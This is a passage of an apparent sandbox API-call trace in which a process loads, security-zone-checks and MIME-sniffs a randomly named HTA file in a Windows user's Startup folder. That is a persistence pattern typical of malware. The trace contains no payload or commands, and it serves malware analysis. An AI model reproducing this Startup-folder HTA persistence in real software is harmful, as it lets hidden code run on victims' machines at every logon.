[0099.163] GetSysColor (nIndex=27) returned 0xead1b9
[0099.163] GetSysColor (nIndex=28) returned 0xf2e4d7
[0099.163] GetSysColor (nIndex=29) returned 0xff9933
[0099.163] GetSysColor (nIndex=30) returned 0xf0f0f0
[0099.163] GetSysColor (nIndex=31) returned 0x0
[0099.163] GetSysColor (nIndex=32) returned 0x0
[0099.163] GetSysColor (nIndex=33) returned 0x0
[0099.163] GetSysColor (nIndex=34) returned 0x0
[0099.163] GetSysColor (nIndex=35) returned 0x0
[0099.163] GetSysColor (nIndex=36) returned 0x0
[0099.163] GetSysColor (nIndex=37) returned 0x0
[0099.163] GetSysColor (nIndex=38) returned 0x0
[0099.163] GetSysColor (nIndex=39) returned 0x0
[0099.163] GetSysColor (nIndex=40) returned 0x0
[0099.163] GetSysColor (nIndex=41) returned 0x0
[0099.163] GetSysColor (nIndex=42) returned 0x0
[0099.163] GetSysColor (nIndex=43) returned 0x0
[0099.163] GetSysColor (nIndex=44) returned 0x0
[0099.163] GetSysColor (nIndex=45) returned 0x0
[0099.163] GetSysColor (nIndex=46) returned 0x0
[0099.163] GetSysColor (nIndex=47) returned 0x0
[0099.163] GetSysColor (nIndex=48) returned 0x0
[0099.163] GetSysColor (nIndex=49) returned 0x0
[0099.163] GetSysColor (nIndex=50) returned 0x0
[0099.163] GetSysColor (nIndex=51) returned 0x0
[0099.163] GetSysColor (nIndex=52) returned 0x0
[0099.163] GetSysColor (nIndex=53) returned 0x0
[0099.163] GetSysColor (nIndex=54) returned 0x0
[0099.163] GetSysColor (nIndex=55) returned 0x0
[0099.163] GetSysColor (nIndex=56) returned 0x0
[0099.163] GetSysColor (nIndex=57) returned 0x0
[0099.163] GetSysColor (nIndex=58) returned 0x0
[0099.163] GetSysColor (nIndex=59) returned 0x0
[0099.163] GetSysColor (nIndex=60) returned 0x0
[0099.163] GetSysColor (nIndex=61) returned 0x0
[0099.163] GetSysColor (nIndex=62) returned 0x0
[0099.163] GetSysColor (nIndex=63) returned 0x0
[0099.164] GetDeviceCaps (hdc=0x7010156, index=38) returned 32409
[0099.164] ReleaseDC (hWnd=0x0, hDC=0x7010156) returned 1
[0099.164] GetCurrentThreadId () returned 0x4e0
[0099.164] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x48c020
[0099.164] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x50) returned 0x48eb10
[0099.164] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x46d920
[0099.165] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x28) returned 0x492a78
[0099.165] GetProcAddress (hModule=0x76130000, lpProcName=0x8) returned 0x76133ed5
[0099.165] GetCurrentThreadId () returned 0x4e0
[0099.165] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x46d920 | out: hHeap=0x450000) returned 1
[0099.165] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x116) returned 0x491d00
[0099.165] ParseURLW (in: pcszURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", ppu=0x1cf480 | out: ppu=0x1cf480) returned 0x0
[0099.165] CreateUri (in: pwzURI="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x1cf464 | out: ppURI=0x1cf464*=0x47c7a4) returned 0x0
[0099.165] IUnknown:AddRef (This=0x47c7a4) returned 0x5
[0099.165] IInternetSecurityManager:MapUrlToZone (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pdwZone=0x1cf404, dwFlags=0x0 | out: pdwZone=0x1cf404*=0xffffffff) returned 0x800c0011
[0099.168] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0099.174] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0099.174] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1
[0099.174] IInternetSecurityManager:ProcessUrlAction (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", dwAction=0x2700, pPolicy=0x1cf408, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x1cf408*=0x0) returned 0x0
[0099.174] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1
[0099.175] IUnknown:Release (This=0x47c7a4) returned 0x4
[0099.175] IUnknown:Release (This=0x47c7a4) returned 0x3
[0099.175] IUnknown:AddRef (This=0x47c7a4) returned 0x4
[0099.175] IUri:GetPropertyDWORD (in: This=0x47c7a4, uriProp=0x11, pdwProperty=0x1cf23c, dwFlags=0x0 | out: pdwProperty=0x1cf23c*=0x9) returned 0x0
[0099.175] IUnknown:Release (This=0x47c7a4) returned 0x3
[0099.175] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x116) returned 0x493d18
[0099.175] IInternetSecurityManager:GetSecurityId (in: This=0x4845c8, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pbSecurityId=0x1cf298, pcbSecurityId=0x1cf294*=0x200, dwReserved=0x0 | out: pbSecurityId=0x1cf298*=0x66, pcbSecurityId=0x1cf294*=0x9) returned 0x0
[0099.175] IInternetSecurityManager:GetSecurityId (in: This=0x736696bc, pwszUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pbSecurityId=0x1cf298, pcbSecurityId=0x1cf294*=0x200, dwReserved=0x0 | out: pbSecurityId=0x1cf298*=0x0, pcbSecurityId=0x1cf294*=0x200) returned 0x800c0011
[0099.175] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x493d18 | out: hHeap=0x450000) returned 1
[0099.175] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0099.175] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x9) returned 0x464908
[0099.175] CoInternetGetSession (in: dwSessionMode=0x0, ppIInternetSession=0x1cf4bc, dwReserved=0x0 | out: ppIInternetSession=0x1cf4bc*=0x485e48) returned 0x0
[0099.175] IInternetSession:RegisterNameSpace (This=0x485e48, pCF=0x73668c50, rclsid=0x73269790, pwzProtocol="res", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0
[0099.176] IUnknown:AddRef (This=0x73668c50) returned 0x1
[0099.176] IInternetSession:RegisterNameSpace (This=0x485e48, pCF=0x73668c70, rclsid=0x73269780, pwzProtocol="about", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0
[0099.176] IUnknown:AddRef (This=0x73668c70) returned 0x1
[0099.176] StrCmpICW (pszStr1="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pszStr2="res://ieframe.dll/PhishSite.htm") returned -12
[0099.176] IUnknown:QueryInterface (in: This=0x47c444, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cf42c | out: ppvObject=0x1cf42c*=0x47c444) returned 0x0
[0099.176] IUnknown:Release (This=0x47c444) returned 0x9
[0099.176] IUnknown:AddRef (This=0x47c444) returned 0xa
[0099.176] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x12c) returned 0x493d18
[0099.176] IUnknown:AddRef (This=0x47c444) returned 0xb
[0099.176] IUnknown:QueryInterface (in: This=0x47c444, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cf3f0 | out: ppvObject=0x1cf3f0*=0x47c444) returned 0x0
[0099.176] IUnknown:Release (This=0x47c444) returned 0xb
[0099.177] IUnknown:AddRef (This=0x47c444) returned 0xc
[0099.177] IUnknown:Release (This=0x47c444) returned 0xb
[0099.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x3c) returned 0x464328
[0099.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xb4) returned 0x493e50
[0099.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x46d920
[0099.177] IUri:GetScheme (in: This=0x47c444, pdwScheme=0x1cf474 | out: pdwScheme=0x1cf474*=0x9) returned 0x0
[0099.177] IUri:IsEqual (in: This=0x47c7a4, pUri=0x47c444, pfEqual=0x1cf4bc | out: pfEqual=0x1cf4bc*=1) returned 0x0
[0099.177] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0099.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48eb68
[0099.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x12) returned 0x473850
[0099.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x60) returned 0x493f10
[0099.177] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x46d958
[0099.177] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0099.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x12c) returned 0x493530
[0099.178] IUnknown:AddRef (This=0x47c444) returned 0xc
[0099.178] IUnknown:QueryInterface (in: This=0x47c444, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cf410 | out: ppvObject=0x1cf410*=0x47c444) returned 0x0
[0099.178] IUnknown:Release (This=0x47c444) returned 0xc
[0099.178] IUnknown:AddRef (This=0x47c444) returned 0xd
[0099.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x4c) returned 0x48ebc0
[0099.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x68) returned 0x493f78
[0099.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x108) returned 0x493668
[0099.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x493930
[0099.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0xcc) returned 0x47ce58
[0099.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x493948
[0099.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x46d990
[0099.178] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x1b0) returned 0x493fe8
[0099.178] IUnknown:QueryInterface (in: This=0x47c444, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cf114 | out: ppvObject=0x1cf114*=0x47c444) returned 0x0
[0099.179] IUnknown:Release (This=0x47c444) returned 0xd
[0099.179] IUnknown:AddRef (This=0x47c444) returned 0xe
[0099.179] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0099.179] IUnknown:AddRef (This=0x47c444) returned 0xf
[0099.179] IUnknown:AddRef (This=0x47c444) returned 0x10
[0099.179] IUnknown:QueryInterface (in: This=0x47c444, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cf108 | out: ppvObject=0x1cf108*=0x47c444) returned 0x0
[0099.179] IUnknown:Release (This=0x47c444) returned 0x10
[0099.179] IUnknown:AddRef (This=0x47c444) returned 0x11
[0099.179] IUri:GetScheme (in: This=0x47c444, pdwScheme=0x4940f0 | out: pdwScheme=0x4940f0*=0x9) returned 0x0
[0099.179] IMoniker:IsSystemMoniker (in: This=0x4606e0, pdwMksys=0x1cf170 | out: pdwMksys=0x1cf170*=0x6) returned 0x0
[0099.179] CoInternetParseIUri (in: pIUri=0x47c444, ParseAction=0x9, dwFlags=0x0, pwzResult=0x1cf180, cchResult=0x104, pcchResult=0x1cf124, dwReserved=0x0 | out: pwzResult="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pcchResult=0x1cf124) returned 0x0
[0099.180] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xfe) returned 0x4941a0
[0099.180] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", lpFindFileData=0x1ceeb0 | out: lpFindFileData=0x1ceeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca6da60, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x7ca6da60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x7ca6da60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x371f, dwReserved0=0x5c007a, dwReserved1=0x700041, cFileName="twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", cAlternateFileName="TWU5X5~1.HTA")) returned 0x48faa0
[0099.180] FindClose (in: hFindFile=0x48faa0 | out: hFindFile=0x48faa0) returned 1
[0099.180] IUnknown:QueryInterface (in: This=0x47c444, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cf114 | out: ppvObject=0x1cf114*=0x47c444) returned 0x0
[0099.180] IUnknown:Release (This=0x47c444) returned 0x11
[0099.180] IUnknown:AddRef (This=0x47c444) returned 0x12
[0099.315] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x10) returned 0x493960
[0099.315] IInternetSession:CreateBinding (in: This=0x485e48, pbc=0x0, szUrl="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pUnkOuter=0x0, ppunk=0x0, ppOInetProt=0x493968, dwOption=0x0 | out: ppunk=0x0, ppOInetProt=0x493968*=0x494768) returned 0x0
[0099.317] IUnknown:QueryInterface (in: This=0x494768, riid=0x73286078*(Data1=0x53c84785, Data2=0x8425, Data3=0x4dc5, Data4=([0]=0x97, [1]=0x1b, [2]=0xe5, [3]=0x8d, [4]=0x9c, [5]=0x19, [6]=0xf9, [7]=0xb6)), ppvObject=0x1cf098 | out: ppvObject=0x1cf098*=0x0) returned 0x80004002
[0099.317] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf034 | out: phkResult=0x1cf034*=0x1dc) returned 0x0
[0099.317] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf038 | out: phkResult=0x1cf038*=0x1e4) returned 0x0
[0099.317] RegOpenKeyExW (in: hKey=0x1e4, lpSubKey="FEATURE_XSSFILTER", ulOptions=0x0, samDesired=0x1, phkResult=0x1ceff4 | out: phkResult=0x1ceff4*=0x0) returned 0x2
[0099.317] RegOpenKeyExW (in: hKey=0x1dc, lpSubKey="FEATURE_XSSFILTER", ulOptions=0x0, samDesired=0x1, phkResult=0x1ceff4 | out: phkResult=0x1ceff4*=0x1e8) returned 0x0
[0099.317] SHRegGetValueW () returned 0x2
[0099.317] SHRegGetValueW () returned 0x2
[0099.317] RegCloseKey (hKey=0x1e8) returned 0x0
[0099.317] RegCloseKey (hKey=0x0) returned 0x6
[0099.317] RegCloseKey (hKey=0x0) returned 0x6
[0099.317] RegCloseKey (hKey=0x1dc) returned 0x0
[0099.317] RegCloseKey (hKey=0x1e4) returned 0x0
[0099.317] IUnknown:AddRef (This=0x494768) returned 0x2
[0099.317] IUnknown:QueryInterface (in: This=0x494768, riid=0x73286158*(Data1=0xc7a98e66, Data2=0x1010, Data3=0x492c, Data4=([0]=0xa1, [1]=0xc8, [2]=0xc8, [3]=0x9, [4]=0xe1, [5]=0xf7, [6]=0x59, [7]=0x5)), ppvObject=0x1cf0dc | out: ppvObject=0x1cf0dc*=0x494768) returned 0x0
[0099.318] IInternetProtocolEx:StartEx (This=0x494768, pUri=0x47c444, pOIProtSink=0x49403c, pOIBindInfo=0x494004, grfPI=0x10, dwReserved=0x0) returned 0x0
[0099.318] IUnknown:AddRef (This=0x49403c) returned 0x3
[0099.318] IUnknown:AddRef (This=0x494004) returned 0x4
[0099.318] IUnknown:QueryInterface (in: This=0x494004, riid=0x76896f40*(Data1=0xa3e015b7, Data2=0xa82c, Data3=0x4dcd, Data4=([0]=0xa1, [1]=0x50, [2]=0x56, [3]=0x9a, [4]=0xee, [5]=0xed, [6]=0x36, [7]=0xab)), ppvObject=0x1cf084 | out: ppvObject=0x1cf084*=0x0) returned 0x80004002
[0099.318] IInternetBindInfo:GetBindInfo (in: This=0x494004, grfBINDF=0x4948d8, pbindinfo=0x4948e0 | out: grfBINDF=0x4948d8*=0x20083, pbindinfo=0x4948e0) returned 0x0
[0099.318] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cefe0 | out: phkResult=0x1cefe0*=0x1e4) returned 0x0
[0099.318] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cefe4 | out: phkResult=0x1cefe4*=0x1dc) returned 0x0
[0099.318] RegOpenKeyExW (in: hKey=0x1dc, lpSubKey="FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615", ulOptions=0x0, samDesired=0x1, phkResult=0x1cefa0 | out: phkResult=0x1cefa0*=0x0) returned 0x2
[0099.318] RegOpenKeyExW (in: hKey=0x1e4, lpSubKey="FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615", ulOptions=0x0, samDesired=0x1, phkResult=0x1cefa0 | out: phkResult=0x1cefa0*=0x0) returned 0x2
[0099.319] RegCloseKey (hKey=0x0) returned 0x6
[0099.319] RegCloseKey (hKey=0x0) returned 0x6
[0099.319] RegCloseKey (hKey=0x1e4) returned 0x0
[0099.319] RegCloseKey (hKey=0x1dc) returned 0x0
[0099.319] IUnknown:AddRef (This=0x49403c) returned 0x5
[0099.581] IInternetProtocolSink:ReportProgress (This=0x49403c, ulStatusCode=0xb, szStatusText="") returned 0x0
[0099.582] IInternetProtocolSink:ReportProgress (This=0x49403c, ulStatusCode=0xe, szStatusText="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta") returned 0x0
[0099.582] GetCurrentProcessId () returned 0x4dc
[0099.582] IInternetProtocolSink:ReportProgress (This=0x49403c, ulStatusCode=0xd, szStatusText="application/hta") returned 0x0
[0099.582] RegisterClipboardFormatA (lpszFormat="text/html") returned 0xc11d
[0099.582] RegisterClipboardFormatA (lpszFormat="text/plain") returned 0xc11e
[0099.583] RegisterClipboardFormatA (lpszFormat="text/x-component") returned 0xc11f
[0099.583] RegisterClipboardFormatA (lpszFormat="image/gif") returned 0xc120
[0099.583] RegisterClipboardFormatA (lpszFormat="image/jpeg") returned 0xc121
[0099.583] RegisterClipboardFormatA (lpszFormat="image/pjpeg") returned 0xc122
[0099.583] RegisterClipboardFormatA (lpszFormat="image/bmp") returned 0xc123
[0099.583] RegisterClipboardFormatA (lpszFormat="image/x-jg") returned 0xc124
[0099.583] RegisterClipboardFormatA (lpszFormat="image/x-art") returned 0xc125
[0099.583] RegisterClipboardFormatA (lpszFormat="image/x-wmf") returned 0xc126
[0099.583] RegisterClipboardFormatA (lpszFormat="image/x-emf") returned 0xc127
[0099.583] RegisterClipboardFormatA (lpszFormat="video/avi") returned 0xc128
[0099.583] RegisterClipboardFormatA (lpszFormat="video/x-msvideo") returned 0xc129
[0099.583] RegisterClipboardFormatA (lpszFormat="video/mpeg") returned 0xc12a
[0099.583] RegisterClipboardFormatA (lpszFormat="video/quicktime") returned 0xc12b
[0099.583] RegisterClipboardFormatA (lpszFormat="application/hta") returned 0xc12c
[0099.583] RegisterClipboardFormatA (lpszFormat="image/x-png") returned 0xc12d
[0099.583] RegisterClipboardFormatA (lpszFormat="image/png") returned 0xc12e
[0099.583] RegisterClipboardFormatA (lpszFormat="image/x-icon") returned 0xc12f
[0099.583] StrCmpICW (pszStr1="application/hta", pszStr2="text/xml") returned -19
[0099.583] StrCmpNICW (lpStr1="applicat", lpStr2="text/css", nChar=8) returned -19
[0099.583] IInternetProtocolSink:ReportData (This=0x49403c, grfBSCF=0x5, ulProgress=0x371f, ulProgressMax=0x371f) returned 0x0
[0099.583] IUnknown:QueryInterface (in: This=0x494768, riid=0x732a9460*(Data1=0x79eac9d8, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x1cd5ac | out: ppvObject=0x1cd5ac*=0x0) returned 0x80004002
[0099.584] IUnknown:QueryInterface (in: This=0x494768, riid=0x73224588*(Data1=0x79eac9d6, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x1cd5a4 | out: ppvObject=0x1cd5a4*=0x0) returned 0x80004002
[0099.584] IInternetProtocolSink:ReportResult (This=0x49403c, hrResult=0x0, dwError=0x0, szResult=0x0) returned 0x0
[0099.584] IUnknown:Release (This=0x494768) returned 0x2
[0099.584] IUnknown:Release (This=0x47c444) returned 0x13
[0099.584] IUnknown:Release (This=0x47c444) returned 0x12
[0099.584] IUnknown:Release (This=0x47c444) returned 0x11
[0099.584] CoTaskMemFree (pv=0x0)
[0099.584] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x1a8) returned 0x495428
[0099.585] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x1cf3c8 | out: lpCPInfo=0x1cf3c8) returned 1
[0099.585] IUnknown:AddRef (This=0x485e48) returned 0x3
[0099.585] IUnknown:AddRef (This=0x47c444) returned 0x12
[0099.585] IUnknown:QueryInterface (in: This=0x47c444, riid=0x732ed6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x1cf3d0 | out: ppvObject=0x1cf3d0*=0x47c444) returned 0x0
[0099.585] IUnknown:Release (This=0x47c444) returned 0x12
[0099.585] IUnknown:AddRef (This=0x47c444) returned 0x13
[0099.585] IUri:GetScheme (in: This=0x47c444, pdwScheme=0x1cf3d4 | out: pdwScheme=0x1cf3d4*=0x9) returned 0x0
[0099.585] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x58) returned 0x493880
[0099.585] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1dc
[0099.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x7325e718, lpParameter=0x493880, dwCreationFlags=0x0, lpThreadId=0x493894 | out: lpThreadId=0x493894*=0x6d0) returned 0x1a4
[0099.587] GetCurrentThreadId () returned 0x4e0
[0099.587] GetCurrentThreadId () returned 0x4e0
[0099.587] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x112) returned 0x4955d8
[0099.587] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0099.587] MulDiv (nNumber=14111, nNumerator=4000, nDenominator=14111) returned 4000
[0099.587] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x116) returned 0x4956f8
[0099.587] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x128) returned 0x495818
[0099.587] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x47b928
[0099.587] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xfe) returned 0x495948
[0099.588] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x100) returned 0x495a50
[0099.588] IInternetProtocol:Read (in: This=0x494768, pv=0x495a5c, cb=0xc8, pcbRead=0x1cf318 | out: pv=0x495a5c, pcbRead=0x1cf318*=0xc8) returned 0x0
[0099.591] CoInternetIsFeatureEnabledForUrl (FeatureEntry=0x3, dwFlags=0x2, szURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pSecMgr=0x0) returned 0x1
[0099.591] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf2a0 | out: phkResult=0x1cf2a0*=0x1b8) returned 0x0
[0099.592] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf2a4 | out: phkResult=0x1cf2a4*=0x1f0) returned 0x0
[0099.592] RegOpenKeyExW (in: hKey=0x1f0, lpSubKey="FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf260 | out: phkResult=0x1cf260*=0x0) returned 0x2
[0099.592] RegOpenKeyExW (in: hKey=0x1b8, lpSubKey="FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE", ulOptions=0x0, samDesired=0x1, phkResult=0x1cf260 | out: phkResult=0x1cf260*=0x0) returned 0x2
[0099.592] RegCloseKey (hKey=0x0) returned 0x6
[0099.592] RegCloseKey (hKey=0x0) returned 0x6
[0099.592] RegCloseKey (hKey=0x1b8) returned 0x0
[0099.592] RegCloseKey (hKey=0x1f0) returned 0x0
[0099.592] FindMimeFromData (in: pBC=0x0, pwzUrl="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pBuffer=0x1cf340, cbSize=0xc8, pwzMimeProposed="text/html", dwMimeFlags=0x6, ppwzMimeOut=0x1cf2f8, dwReserved=0x0 | out: ppwzMimeOut=0x1cf2f8*="text/html") returned 0x0
[0099.595] CoTaskMemFree (pv=0x495b70)
[0099.596] CoInternetIsFeatureEnabledForUrl (FeatureEntry=0x3, dwFlags=0x2, szURL="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/twU5X5u5JjqyRmBjT4Z9MFf9KNV5.hta", pSecMgr=0x0) returned 0x1
[0099.596] StrCmpNIW (lpStr1="text/h", lpStr2="image/", nChar=6) returned 1
[0099.596] GetCurrentThreadId () returned 0x4e0
[0099.596] SetEvent (hEvent=0x1dc) returned 1
[0099.596] IUnknown:Release (This=0x47c444) returned 0x12
[0099.596] IUnknown:Release (This=0x47c954) returned 0x1
[0099.597] IUnknown:Release (This=0x4606e0) returned 0x3
[0099.597] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0099.597] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
